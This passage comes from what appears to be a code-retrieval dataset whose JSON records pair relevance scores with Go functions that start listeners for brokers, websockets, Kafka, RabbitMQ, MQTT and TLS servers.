err,\n\t\t\t}\n\t\t\tlog.Println(\"[BINANCE] Error listening:\", err)\n\t\t\tq.restart()\n\t\t}\n\t}()\n}", "title": "" }, { "docid": "05fc97b81ba1010cd6e62ddfe4bb6411", "score": "0.57194203", "text": "func RunBroker(params Params, clientPort, brokerPort string, workerAddrs []string) {\n\tstopper := make(chan bool)\n\n\tworkers := make([]*rpc.Client, len(workerAddrs))\n\tfor idx, worker := range workerAddrs {\n\t\tvar err error\n\t\tfmt.Println(\"LOG: Broker connecting to a Worker\")\n\t\tworkers[idx], err = rpc.Dial(\"tcp\", worker)\n\t\tfor err != nil {\n\t\t\tworkers[idx], err = rpc.Dial(\"tcp\", worker)\n\t\t}\n\t}\n\n\t// Workaround for tests\n\t// Tests require constant reconnecting and disconnecting client-broker\n\trestart := true\n\tfor restart {\n\t\tfmt.Println(\"LOG: Broker listening for Client (1)\")\n\t\tl, err := net.Listen(\"tcp\", brokerPort)\n\t\tHandleError(err)\n\t\ttmp, err := l.Accept()\n\t\tHandleError(err)\n\t\tclientAddr := strings.Split(tmp.RemoteAddr().String(), \":\")[0] + clientPort\n\t\ttmp.Close()\n\t\tl.Close()\n\n\t\tfmt.Println(\"LOG: Broker listening for Client (2)\")\n\t\tlis, err := net.Listen(\"tcp\", brokerPort)\n\t\tHandleError(err)\n\n\t\tfmt.Println(\"LOG: Broker connecting to Client\")\n\t\tclient, err := rpc.Dial(\"tcp\", clientAddr)\n\t\tfor err != nil {\n\t\t\tclient, err = rpc.Dial(\"tcp\", clientAddr)\n\t\t}\n\n\t\tif BState == nil {\n\t\t\tBState = &BrokerState{Stopper: stopper, Client: client, Workers: workers}\n\t\t} else {\n\t\t\tBState.Client = client\n\t\t\tBState.Stopper = stopper\n\t\t\tBState.Workers = workers\n\n\t\t\tBState.Suspend = false\n\t\t\tBState.Terminate = false\n\t\t}\n\t\tfmt.Println(\"Broker initialised\")\n\t\trpc.Register(BState)\n\t\tgo rpc.Accept(lis)\n\n\t\t// Break and exit if not restarting, recv via Stop procedure\n\t\trestart = <-stopper\n\t\tlis.Close()\n\t\t// client.Close()\n\t}\n}", "title": "" }, { "docid": "e602181a1be370279690e31f434120e3", "score": "0.5698824", "text": "func (b *BrokerMock) Listen(channel string) {}", "title": "" }, { "docid": "bb88337c99b605be558e3cbca1422eca", "score": "0.5675631", "text": "func (s *Server) Listen(mux *http.ServeMux) {\n\t// log.Println(\"start init websocker...\")\n\t// websocket handler\n\tonConnected := func(ws *websocket.Conn) {\n\t\tdefer func() {\n\t\t\terr := ws.Close()\n\t\t\tif err != nil {\n\t\t\t\tlog.Println(\"websocker close:\", err)\n\t\t\t\ts.doneSignal <- true\n\t\t\t}\n\n\t\t\tif err := recover(); err != nil {\n\t\t\t\t// if err is io.EOF, maye be beacause of client closing\n\t\t\t\tif err != io.EOF {\n\t\t\t\t\tlog.Println(\"websocker recover:\", err)\n\t\t\t\t}\n\t\t\t}\n\t\t}()\n\t\tclient := NewClient(ws, s)\n\t\ts.Add(client)\n\t\tclient.Listen()\n\t}\n\tmux.Handle(\"/chat\", websocket.Handler(onConnected))\n\t// log.Println(\"finish init websocker.\")\n\n\tfor {\n\t\tselect {\n\t\tcase client := <-s.addSignal:\n\t\t\ts.add(client)\n\t\tcase client := <-s.delSignal:\n\t\t\ts.del(client)\n\t\tcase data := <-s.broadcastSignal:\n\t\t\ts.broadcast(data)\n\t\tcase data := <-s.assignSignal:\n\t\t\ts.assign(data)\n\t\tcase <-s.doneSignal:\n\t\t\treturn\n\t\t}\n\t}\n}", "title": "" }, { "docid": "cb7d3e76cabdda8ab80e87be91649cda", "score": "0.56613654", "text": "func (l *Listener) Listen(ctx context.Context, handler message.Handler, topicName string, opts ...Option) error {\n\tl.topicName = topicName\n\t// apply listener options\n\tfor _, opt := range opts {\n\t\terr := opt(l)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\tif err := setTopicEntity(ctx, l); err != nil {\n\t\treturn err\n\t}\n\tif err := setSubscriptionEntity(ctx, l); err != nil {\n\t\treturn err\n\t}\n\tif err := setSubscriptionFilters(ctx, l); err != nil {\n\t\treturn err\n\t}\n\t// Generate new topic client\n\ttopic, err := l.namespace.NewTopic(l.topicEntity.Name)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to create new topic %s: %w\", l.topicEntity.Name, err)\n\t}\n\tdefer func() {\n\t\t_ = topic.Close(ctx)\n\t}()\n\n\t// Generate new subscription client\n\tsub, err := topic.NewSubscription(l.subscriptionEntity.Name)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to create new subscription %s: %w\", l.subscriptionEntity.Name, err)\n\t}\n\tsubReceiver, err := sub.NewReceiver(ctx)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to create new subscription receiver %s: %w\", l.subscriptionEntity.Name, err)\n\t}\n\n\t// Create a handle class that has that function\n\tlistenerHandle := subReceiver.Listen(ctx, servicebus.HandlerFunc(\n\t\tfunc(ctx context.Context, msg *servicebus.Message) error {\n\t\t\tcurrentHandler := handler\n\t\t\tfor !message.IsDone(currentHandler) {\n\t\t\t\tcurrentHandler = currentHandler.Do(ctx, handler, msg)\n\t\t\t\t// handle nil as a Completion!\n\t\t\t\tif currentHandler == nil {\n\t\t\t\t\tcurrentHandler = message.Complete()\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn nil\n\t\t}))\n\tl.listenerHandle = listenerHandle\n\t<-listenerHandle.Done()\n\n\tif err := subReceiver.Close(ctx); err != nil {\n\t\treturn fmt.Errorf(\"error shutting down service bus subscription. %w\", err)\n\t}\n\treturn listenerHandle.Err()\n}", "title": "" }, { "docid": "a20d099c331cedac6ed39a2132e05f5e", "score": "0.5632692", "text": "func (l *PgListener) listen(rc *pgx.ReplicationConn) {\n\tfor {\n\t\tr, err := rc.WaitForReplicationMessage(context.Background())\n\t\tif err != nil {\n\t\t\tl.log.Fatal(err)\n\t\t}\n\n\t\tif r != nil {\n\t\t\tif r.ServerHeartbeat != nil {\n\t\t\t\tl.handleHeartbeat(rc, r.ServerHeartbeat.ServerWalEnd)\n\t\t\t} else if r.WalMessage != nil {\n\t\t\t\tl.handleMessage(rc, r.WalMessage.WalData, r.WalMessage.WalStart, r.WalMessage.ServerWalEnd)\n\t\t\t}\n\t\t}\n\t}\n}", "title": "" }, { "docid": "13f4794897a52f1021262630ae8e1d8d", "score": "0.56012875", "text": "func Listen(env *models.Env) {\n\n\tr := mux.NewRouter().StrictSlash(false)\n\n\tv1 := r.PathPrefix(\"/v1\").Subrouter()\n\n\t// HelloWorld Endpoint\n\taclV1 := v1.PathPrefix(\"/profiles\").Subrouter()\n\taclV1.Handle(\"\", handlers.CustomHandle(env, handlers.AddVerneMQACL)).Methods(\"POST\")\n\taclV1.Handle(\"/mappings\", handlers.CustomHandle(env, handlers.GetMappingForUsers)).Methods(\"POST\")\n\n\tconversationsV1 := v1.PathPrefix(\"/conversations\").Subrouter()\n\tconversationsV1.Handle(\"/group\", handlers.CustomHandle(env, handlers.AddGroupConversation)).Methods(\"POST\")\n\n\tcorsHandler := cors.New(cors.Options{\n\t\tAllowedHeaders: []string{\"X-Requested-With\"},\n\t\tAllowedOrigins: []string{\"*\"},\n\t\tAllowCredentials: true,\n\t\tAllowedMethods: []string{\"GET\", \"HEAD\", \"POST\", \"PUT\", \"OPTIONS\"},\n\t})\n\n\thttp.ListenAndServe(\":\"+fmt.Sprintf(\"%d\", PORT), corsHandler.Handler(r))\n}", "title": "" }, { "docid": "8c6cdcc7293147b74624550052f5472a", "score": "0.5556058", "text": "func (b *Bootstrapper) Listen() {\n\n\t//go beego.GlobalSessions.GC()\n\tbeego.Run()\n\n}", "title": "" }, { "docid": "368d3901afb2e6e16940bb252b8ca1d9", "score": "0.55461884", "text": "func (t *transport) Listen(addr ma.Multiaddr) (tpt.Listener, error) {\n\tvar tlsConf tls.Config\n\ttlsConf.GetConfigForClient = func(_ *tls.ClientHelloInfo) (*tls.Config, error) {\n\t\t// return a tls.Config that verifies the peer's certificate chain.\n\t\t// Note that since we have no way of associating an incoming QUIC connection with\n\t\t// the peer ID calculated here, we don't actually receive the peer's public key\n\t\t// from the key chan.\n\t\tconf, _ := t.identity.ConfigForPeer(\"\")\n\t\treturn conf, nil\n\t}\n\ttlsConf.NextProtos = []string{\"libp2p\"}\n\tudpAddr, version, err := quicreuse.FromQuicMultiaddr(addr)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tt.listenersMu.Lock()\n\tdefer t.listenersMu.Unlock()\n\tlisteners := t.listeners[udpAddr.String()]\n\tvar underlyingListener *listener\n\tvar acceptRunner *acceptLoopRunner\n\tif len(listeners) != 0 {\n\t\t// We already have an underlying listener, let's use it\n\t\tunderlyingListener = listeners[0].listener\n\t\tacceptRunner = listeners[0].acceptRunnner\n\t\t// Make sure our underlying listener is listening on the specified QUIC version\n\t\tif _, ok := underlyingListener.localMultiaddrs[version]; !ok {\n\t\t\treturn nil, fmt.Errorf(\"can't listen on quic version %v, underlying listener doesn't support it\", version)\n\t\t}\n\t} else {\n\t\tln, err := t.connManager.ListenQUIC(addr, &tlsConf, t.allowWindowIncrease)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tl, err := newListener(ln, t, t.localPeer, t.privKey, t.rcmgr)\n\t\tif err != nil {\n\t\t\t_ = ln.Close()\n\t\t\treturn nil, err\n\t\t}\n\t\tunderlyingListener = &l\n\n\t\tacceptRunner = &acceptLoopRunner{\n\t\t\tacceptSem: make(chan struct{}, 1),\n\t\t\tmuxer: make(map[quic.VersionNumber]chan acceptVal),\n\t\t}\n\t}\n\n\tl := &virtualListener{\n\t\tlistener: underlyingListener,\n\t\tversion: version,\n\t\tudpAddr: udpAddr.String(),\n\t\tt: t,\n\t\tacceptRunnner: acceptRunner,\n\t\tacceptChan: acceptRunner.AcceptForVersion(version),\n\t}\n\n\tlisteners = append(listeners, l)\n\tt.listeners[udpAddr.String()] = listeners\n\n\treturn l, nil\n}", "title": "" }, { "docid": "dce760b10189154b9bb8e4da989fe351", "score": "0.55365956", "text": "func (m *Client) listen(topic string) {\n\ttoken := m.Client.Subscribe(topic, m.Qos, func(c paho.Client, msg paho.Message) {\n\t\tpayload := string(msg.Payload())\n\t\tm.log.TRACE.Printf(\"recv %s: '%v'\", topic, payload)\n\t\tif len(payload) > 0 {\n\t\t\tm.mux.Lock()\n\t\t\tcallbacks := m.listener[topic]\n\t\t\tm.mux.Unlock()\n\n\t\t\tfor _, cb := range callbacks {\n\t\t\t\tcb(payload)\n\t\t\t}\n\t\t}\n\t})\n\tgo m.WaitForToken(\"subscribe\", topic, token)\n}", "title": "" }, { "docid": "3045b03dda191357c8b9f48a997dc048", "score": "0.5534843", "text": "func (s *Service) listen(addr string) {\n\t//Create a new listener\n\tlog.Info(\"service.listen\", \"starting the listner at \"+addr)\n\n\tl, err := listener.New(addr)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tl.SetReadTimeout(120 * time.Second)\n\n\t// Configure the protos\n\tif s.config.GrpcListen != \"\" {\n\t\tgrpcList, err := netListener(s.config.GrpcListen)\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t\ts.grpc.Serve(grpcList)\n\t}\n\tl.ServeCallback(listener.MatchWS(\"GET\"), s.http.Serve)\n\tl.ServeCallback(listener.MatchAny(), s.tcp.Serve)\n\n\tgo l.Serve()\n}", "title": "" }, { "docid": "dc311beffb00a5a0c9cf3781bc37a200", "score": "0.55316633", "text": "func listen(ctx context.Context, h MessageHandler, projectID string, topic string, opts ...option.ClientOption) error {\n\tclient, err := pubsub.NewClient(ctx, projectID, opts...)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"creating pubsub client: %v\", err)\n\t}\n\n\treturn client.Subscription(topic).Receive(ctx, func(ctx context.Context, msg *pubsub.Message) {\n\t\th.Handle(&messageWrapper{msg: msg})\n\t})\n}", "title": "" }, { "docid": "828562dc07d592e239eb5abf24eedbca", "score": "0.5526949", "text": "func Listen(rabConn *rabbit.Rabbit, hndl *handler.Handler) (*Subscriber, error) {\n\tsub := Subscriber{\n\t\tRabbit: rabConn,\n\t\tEncoder: &rabbit.JsonEncoder{},\n\t\tHandler: hndl,\n\t}\n\tif err := sub.init(); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &sub, nil\n}", "title": "" }, { "docid": "fdcc9bde124a40b850b9066976769f5d", "score": "0.55021304", "text": "func (self ConnManager) listenHandler(listen peer.Peer) {\n\tlisten.Start()\n}", "title": "" }, { "docid": "b0c4138570f93b7954537c3d77eaa34e", "score": "0.5496173", "text": "func (t *Tracer) Listen() error {\n\tt.txn = t.database.NewTransaction()\n\terr := t.broker.NewProducer()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = t.broker.NewConsumer(t.msgHandler)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tgo t.batchHandler()\n\n\treturn nil\n}", "title": "" }, { "docid": "0299bfe28ad94de338f7dd1a2ea07b61", "score": "0.5495233", "text": "func Listen(consumerGroup, topic string, handleFunc HandlerFunc, addrs ...string) error {\n\tif len(addrs) == 0 {\n\t\taddrs = g_brokers\n\t}\n\tif topic == \"\" {\n\t\treturn log.EServer(nil, log.M{\"message\": \"topic cannot be empty\"})\n\t}\n\tconfig := sarama.NewConfig()\n\tconfig.Version = sarama.V3_3_1_0\n\tconfig.Consumer.Group.Rebalance.GroupStrategies = []sarama.BalanceStrategy{sarama.BalanceStrategyRoundRobin}\n\t// config.Consumer.Return.Errors = true\n\tconfig.Consumer.Offsets.Initial = sarama.OffsetOldest\n\n\tcounter := ratecounter.NewRateCounter(1 * time.Minute)\n\tgo func() {\n\t\tfor {\n\t\t\ttime.Sleep(120 * time.Second)\n\t\t\tlog.Info(\"subiz\", \"KAFKA RATE\", topic, counter.Rate())\n\t\t}\n\t}()\n\n\tctx, cancel := context.WithCancel(context.Background())\n\tcon := newConsumer(consumerGroup, topic, handleFunc, counter)\n\tclient, err := sarama.NewConsumerGroup(addrs, consumerGroup, config)\n\tif err != nil {\n\t\tcancel()\n\t\treturn err\n\t}\n\tgo func() {\n\t\tfor {\n\t\t\t// `Consume` should be called inside an infinite loop, when a\n\t\t\t// server-side rebalance happens, the consumer session will need to be\n\t\t\t// recreated to get the new claims\n\t\t\tif err := client.Consume(ctx, []string{topic}, con); err != nil {\n\t\t\t\tlog.Err(\"subiz\", err, \"KAFKA ERR\", topic, consumerGroup)\n\t\t\t\ttime.Sleep(10 * time.Second)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\t// check if context was cancelled, signaling that the consumer should stop\n\t\t\tif ctx.Err() != nil {\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t}()\n\n\tsigterm := make(chan os.Signal, 1)\n\tsignal.Notify(sigterm, syscall.SIGINT, syscall.SIGTERM)\n\t<-sigterm\n\tcancel()\n\treturn client.Close()\n}", "title": "" }, { "docid": "bb28fad1ab9d1d9e8e7bbf6e65f8ba30", "score": "0.54917264", "text": "func (n *ConnNotifee) Listen(network inet.Network, addr ma.Multiaddr) {\n\n}", "title": "" }, { "docid": "7238f3aa8d68ce022911f93c9917bab4", "score": "0.5479975", "text": "func (h handler) listen() {\n\tgo func() {\n\t\t<-h.Conf.ShutdownGuard.ShuttingDown\n\t\th.HTTPHandler.Shutdown(context.Background())\n\t}()\n\n\tvar err error\n\tif *h.Conf.TLSCrt != \"\" && *h.Conf.TLSKey != \"\" {\n\t\th.HTTPHandler.TLSConfig = tlsConf\n\t\th.HTTPHandler.TLSNextProto = map[string]func(*http.Server, *tls.Conn, http.Handler){}\n\n\t\terr = h.HTTPHandler.ListenAndServeTLS(*h.Conf.TLSCrt, *h.Conf.TLSKey)\n\t} else {\n\t\terr = h.HTTPHandler.ListenAndServe()\n\t}\n\th.Conf.Log.Error(\"http server failed\", zap.Error(err))\n\n\th.Conf.ShutdownGuard.InitiateShutdown()\n}", "title": "" }, { "docid": "6bd1986a87edc4b8833f305c4ec8529c", "score": "0.5470733", "text": "func StartListen(port int, useTls bool, crtPath string, keyPath string, sname string) (error) {\n // Create a listening address\n addr, err := net.ResolveTCPAddr(\"tcp\", fmt.Sprintf(\":%d\", port))\n if err != nil {\n return err\n }\n\n // start a new server and listen on the address\n var l net.Listener\n l, err = net.ListenTCP(\"tcp\", addr)\n if err != nil {\n return err\n }\n\n // wrap with TLS if required\n if useTls {\n cert, err := tls.LoadX509KeyPair(crtPath, keyPath)\n if err != nil {\n return err\n }\n conf := tls.Config{}\n\n certs := make([]tls.Certificate, 1)\n certs[0] = cert\n conf.Certificates = certs\n\n cp := x509.NewCertPool()\n caCert, err := ioutil.ReadFile(crtPath)\n if err != nil {\n return err\n }\n if !cp.AppendCertsFromPEM(caCert) {\n return errors.New(\"Could not append PEM cert\")\n }\n conf.RootCAs = cp\n\n conf.ServerName = sname\n\n conf.ClientAuth = tls.RequireAndVerifyClientCert\n\n conf.ClientCAs = cp\n\n l = tls.NewListener(l, &conf)\n }\n\n // at the end of this function close the server connection\n defer l.Close()\n\n logging.Debug(\"Starting listen loop\")\n for {\n a, err := acceptApp(l)\n if err != nil {\n return err\n } else {\n logging.Debug(\"Got connection\")\n go ListenForCommands(a)\n }\n }\n return nil\n}", "title": "" }, { "docid": "4b07d2b1d0c2a5cb49455aa2fbe441e5", "score": "0.5460996", "text": "func (p *publisher) Listen() error {\n\n\tif len(p.port) == 0 {\n\t\treturn errors.New(\"The publisher must be initialized with a port\")\n\t}\n\taddr, err := net.ResolveTCPAddr(\"tcp\", \":\"+p.port)\n\tif err != nil {\n\t\terr = errors.New(fmt.Sprintf(\"Error resolving the TCP addr %s: %s\", p.port, err.Error()))\n\t\tlog.Printf(err.Error())\n\t\treturn err\n\t}\n\n\tln, err := net.ListenTCP(\"tcp\", addr)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t//Start the membership routine\n\tp.runMembership()\n\n\t//Start the broadcast routine\n\tp.runBroadcaster()\n\n\tdefer ln.Close()\n\tfor {\n\t\tconn, err := ln.AcceptTCP()\n\t\tif err != nil {\n\t\t\tlog.Printf(\"Error recieving connection: %s\", err.Error())\n\t\t\tcontinue\n\t\t}\n\t\tp.subscribeChan <- &subscription{Connection: conn, WriteQueue: make(chan common.Message, p.writeQueueSize), pub: p}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "63f25f482ca21e043acf141f3766015d", "score": "0.54558504", "text": "func (b *broker) run(addr string) error {\n\tlistener, err := net.Listen(\"tcp\", addr)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer listener.Close()\n\tlogger.Printf(\"broker.run()\", \"Listening on %v\\n\", listener.Addr())\n\n\t// Start a goroutine for each new connections\n\tfor {\n\t\tc, err := b.container.Accept(listener)\n\t\tif err != nil {\n\t\t\tlogger.Debugf(\"broker.run()\", \"Accept error: %v\", err)\n\t\t\tcontinue\n\t\t}\n\t\tcc := &connection{b, c}\n\t\tgo cc.run() // Handle the connection\n\t\tlogger.Debugf(\"broker.run()\", \"Accepted %v\", c)\n\t}\n}", "title": "" }, { "docid": "78c2467bf171fd365d8b249d9b721f25", "score": "0.5455469", "text": "func (ac *AggregatorController) startListening() {\n\tlogger.LogInfo(\"Entering startListening()\")\n\tvar i int\n\tac.listenOnREST = false\n\tserverAddr := fmt.Sprintf(\"%s:%d\", *server, *port)\n\n\t/* Global broker for just sending messages */\n\tglobalActiveMQBroker.connectBroker(serverAddr)\n\n\tlogger.LogInfo(\"Processing configuration to determine queues and endpoints to listen on\")\n\n\tfor i = 0; i < len(ac.config); i++ {\n\t\tif strings.Compare(ac.config[i].CollectorType, \"QUEUE\") == 0 {\n\t\t\t/* Separate broker for connecting and listening on queues */\n\t\t\tif ac.queueList[ac.config[i].Collectors] != 1 {\n\t\t\t\tvar newBroker *ActiveMQ_Broker = new(ActiveMQ_Broker)\n\t\t\t\tlogger.LogInfo(\"Listening on queue: \", ac.config[i].Collectors)\n\t\t\t\t/* Only need to listen on one unique queue */\n\t\t\t\tac.queueList[ac.config[i].Collectors] = 1\n\t\t\t\tgo newBroker.connectAndListen(serverAddr, ac.config[i].Collectors)\n\t\t\t}\n\t\t} else if strings.Compare(ac.config[i].CollectorType, \"REST\") == 0 {\n\t\t\tlogger.LogInfo(\"Listening on REST endpoint /collect\")\n\t\t\tac.listenOnREST = true\n\t\t}\n\t}\n\n\tlogger.LogInfo(\"Aggregator is now listening on configured endpoints\")\n\n\tac.listen()\n\tlogger.LogInfo(\"Exiting startListening()\")\n}", "title": "" }, { "docid": "a84b0f25d081aac5cb33871d812daac9", "score": "0.54383594", "text": "func (m *Client) ListenSetter(topic string, callback func(string) error) {\n\ttopic += \"/set\"\n\tm.Listen(topic, func(payload string) {\n\t\tif err := callback(payload); err != nil {\n\t\t\tm.log.ERROR.Printf(\"set %s: %v\", topic, err)\n\t\t}\n\t\tif err := m.Publish(topic, true, \"\"); err != nil {\n\t\t\tm.log.ERROR.Printf(\"clear: %s: %v\", topic, err)\n\t\t}\n\t})\n}", "title": "" }, { "docid": "154448f5348606fb46364d92ca7ac975", "score": "0.5429015", "text": "func Listen(prefix string) chan Event {\n\treturn globalEvents.Listen(prefix)\n}", "title": "" }, { "docid": "524101648e9249cee3bfa5be2677c740", "score": "0.54163194", "text": "func (l *Listener) Listen(conf cfg.Listen) error {\n\tif err := l.Connection.SetEndpoints(conf.Endpoints, l.onMessage); err != nil {\n\t\treturn err\n\t}\n\n\tif err := l.Connection.Connect(); err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "4c546e1bde139715648aac3e5ce6214c", "score": "0.5391778", "text": "func Listen(e *Exchange) {\n\t// Listen for HTTP requests from API clients and forward them to the\n\t// appropriate service backend.\n\tport := os.Getenv(\"PORT\")\n\tlog.Printf(\"Listening for HTTP requests on port %v\", port)\n\terr := http.ListenAndServe(\":\"+port, Log(e.mux))\n\tif err != nil {\n\t\tlog.Print(err)\n\t}\n}", "title": "" }, { "docid": "5ebf9df7dff25e7e20a7745f2c1eb195", "score": "0.53895134", "text": "func (t *TransportRabbit) Listen(queueListen QueueType, fn CallbackMessage) {\n\n\tqueueListenName, ok := t.queues[int(queueListen)]\n\tif !ok {\n\t\tpanic(fmt.Sprintf(\"%s\", \"Failed to find message queue name\"))\n\t\t//Errorf(\"Failed to find message queue %d\", int(queueListen))\n\t}\n\tlogger.Debugf(\"Listen on queue %s\", queueListenName)\n\teventQueueName, eok := t.queues[QUEUE_EVENT]\n\tif !eok {\n\t\tpanic(fmt.Sprintf(\"%s\", \"Failed to find event queue name\"))\n\t}\n\n\tmsgs, err := t.ch.Consume(\n\t\tqueueListenName, // queue\n\t\t\"\", // consumer\n\t\tfalse, // auto-ack\n\t\tfalse, // exclusive\n\t\tfalse, // no-local\n\t\tfalse, // no-wait\n\t\tnil, // args\n\t)\n\tfailOnError(err, \"Failed to register a consumer\")\n\n\tevents, err := t.ch.Consume(\n\t\teventQueueName, // queue\n\t\t\"\", // consumer\n\t\tfalse, // auto-ack\n\t\tfalse, // exclusive\n\t\tfalse, // no-local\n\t\tfalse, // no-wait\n\t\tnil, // args\n\t)\n\n\tfailOnError(err, \"Failed to register a consumer\")\n\n\twg := sync.WaitGroup{}\n\twg.Add(2)\n\tforever := make(chan bool)\n\tgo func() {\n\t\tfor d := range msgs {\n\t\t\tlogger.Debugf(\"New message on %s, %s\", queueListenName, string(d.Body[:]))\n\t\t\tresult, _ := t.getMessage(string(d.Body[:]))\n\t\t\tfn(result)\n\t\t\td.Ack(false)\n\t\t}\n\t\twg.Done()\n\t}()\n\n\tgo func(ch chan bool) {\n\t\tfor d := range events {\n\t\t\tlogger.Debugf(\"New message on %s, %s\", queueListenName, string(d.Body[:]))\n\t\t\tmsgEvent := MsgEvent{}\n\t\t\tjson.Unmarshal([]byte(d.Body), &msgEvent)\n\t\t\tswitch msgEvent.Step {\n\t\t\tcase STEP_END:\n\t\t\t\tlogger.Infof(\"Received exit request %s\", queueListenName)\n\t\t\t\td.Ack(false)\n\t\t\t\twg.Done()\n\t\t\t\tch <- true\n\t\t\tdefault:\n\t\t\t\td.Ack(false)\n\t\t\t}\n\t\t}\n\t}(forever)\n\n\tlogger.Infof(\" [*] Waiting for messages. To exit press CTRL+C\")\n\t<-forever\n\tt.ch.Close()\n\tt.conn.Close()\n\twg.Wait()\n}", "title": "" }, { "docid": "ce1dc7ea61b312eb70e1a1258ea61783", "score": "0.53831637", "text": "func (pt *peerSelectionTest) setupServers(t testing.TB) {\n\tpt.servers = make([]*Channel, pt.numPeers)\n\n\t// Set up numPeers servers.\n\tfor i := 0; i < pt.numPeers; i++ {\n\t\tpt.servers[i], _ = pt.NewService(t, \"server\", fmt.Sprintf(\"server-%v\", i))\n\t\tpt.servers[i].Register(raw.Wrap(newTestHandler(pt.t)), \"echo\")\n\t}\n}", "title": "" }, { "docid": "05c1251b52ab236aad0251244327608c", "score": "0.53594667", "text": "func (adapter *Telegram) Listen(events chan *commons.Event) {\n\tmessages := make(chan telebot.Message)\n\n\tfor {\n\t\tadapter.bot.Listen(messages, time.Second)\n\n\t\tfor message := range messages {\n\t\t\tlog.WithField(\"adapter\", adapter.cfg.Type).Debugf(\"Message: %v\", message)\n\t\t\tevents <- commons.NewEvent().FromTelegramMessage(message)\n\t\t}\n\n\t\ttime.Sleep(time.Second)\n\t}\n}", "title": "" }, { "docid": "0c347b446200ed69d14ca7662d523651", "score": "0.5350054", "text": "func (t *Transactor) Listen() {\n\tl := log.WithField(\"action\", \"listen\")\n\n\tfor {\n\t\tselect {\n\t\tcase r := <-t.stakeChan:\n\t\t\treq, ok := r.Params.(*node.StakeRequest)\n\t\t\tif !ok {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tvar hash *bytes.Buffer\n\n\t\t\tresp, err := t.Stake(context.Background(), req)\n\t\t\tif err != nil {\n\t\t\t\tl.WithError(err).Error(\"error in creating a stake transaction\")\n\t\t\t} else {\n\t\t\t\thash = bytes.NewBuffer(resp.GetHash())\n\t\t\t}\n\t\t\tr.RespChan <- rpcbus.Response{Resp: hash, Err: err}\n\n\t\tcase r := <-t.bidChan:\n\t\t\treq, ok := r.Params.(*node.BidRequest)\n\t\t\tif !ok {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tvar hash *bytes.Buffer\n\n\t\t\tresp, err := t.Bid(context.Background(), req)\n\t\t\tif err != nil {\n\t\t\t\tl.WithError(err).Error(\"error in creating a bid transaction\")\n\t\t\t} else {\n\t\t\t\thash = bytes.NewBuffer(resp.GetHash())\n\t\t\t}\n\t\t\tr.RespChan <- rpcbus.Response{Resp: hash, Err: err}\n\t\t}\n\t}\n}", "title": "" }, { "docid": "570106c2b7e5795e1c9a136a85b790d6", "score": "0.53434956", "text": "func (ac *AggregatorController) listen() {\n\thttp.ListenAndServe(\":8080\", ac.router)\n}", "title": "" }, { "docid": "ecdb69322a2f789ac5667006aa1a93ab", "score": "0.53367984", "text": "func (m *Client) Listen(topic string, callback func(string)) {\n\tm.mux.Lock()\n\tm.listener[topic] = append(m.listener[topic], callback)\n\tm.mux.Unlock()\n\n\tm.listen(topic)\n}", "title": "" }, { "docid": "dcfc7c81c1ba04e10aa8070fc93ca550", "score": "0.53335863", "text": "func (bes *BackendService) listen() {\n\tfor {\n\t\tselect {\n\t\tcase <-bes.ctx.Done():\n\t\t\treturn\n\t\tcase m := <-bes.in:\n\t\t\tbem := m.(msg.BackendMessage)\n\t\t\tdest := bem.Destination\n\t\t\tlog.Daemon.WithField(\"service\", bem.Type()).Tracef(\"backend listen got %+v\", bem)\n\n\t\t\tif be, ok := bes.Platforms[dest]; ok {\n\t\t\t\tif err := be.Send(m); err != nil {\n\t\t\t\t\tlog.Daemon.Errorf(\"could not send message to %s: %s\", dest, err)\n\t\t\t\t}\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tlog.Daemon.Errorf(\"no backend %s, ensure backend %s is running and able to accept data\", dest, dest)\n\t\t}\n\t}\n}", "title": "" }, { "docid": "3545cc53aa16dad5c91f38e2519ee5d6", "score": "0.5333119", "text": "func BT_Listenner() {\n\n\tfor _, d := range Devices {\n\t\tfmt.Println(\"Listening to\", d.n)\n\t\tgo func(n *nxt.NXT) {\n\t\t\tfor {\n\t\t\t\t//fmt.Println(\"Waiting for\", n)\n\t\t\t\tp1, p2, p3, err := readMessageWithParms(n)\n\t\t\t\tif err != nil {\n\t\t\t\t\tif err != NotAMessage {\n\t\t\t\t\t\tfmt.Println(\"ERROR: Can't read:\", err.Error())\n\t\t\t\t\t}\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\tlog.Printf(\"<%v>: `%d %d %d`\", n, p1, p2, p3)\n\t\t\t\tprocessIncomingMessage(p1, p2, p3)\n\t\t\t\t//time.Sleep(time.Millisecond * 50)\n\t\t\t}\n\t\t}(d.n)\n\t}\n}", "title": "" }, { "docid": "0b418f9f2546342de8d75109c69d48a4", "score": "0.532646", "text": "func (t *ToyKVServer) Run() {\n\tfor {\n\t\tcon, err := t.listener.Accept()\n\t\tif err != nil {\n\t\t\tt.logger.Printf(\"accept error %v\", err)\n\t\t\tcontinue\n\t\t}\n\n\t\t// new connection handler\n\t\tt.connectHandler(con)\n\t}\n}", "title": "" }, { "docid": "c6100fda8bb30370764be0fcf2977500", "score": "0.5325057", "text": "func (bot *Bot) Listen() {\n\tlog.Println(\"Listening...\")\n\n\tmsgChan, err := bot.tgClient.GetMessagesChan()\n\tif err != nil {\n\t\tlog.Println(\"Error with the message channel, try again\")\n\t\treturn\n\t}\n\n\tfor msg := range msgChan {\n\t\tif msg != nil {\n\t\t\tgo 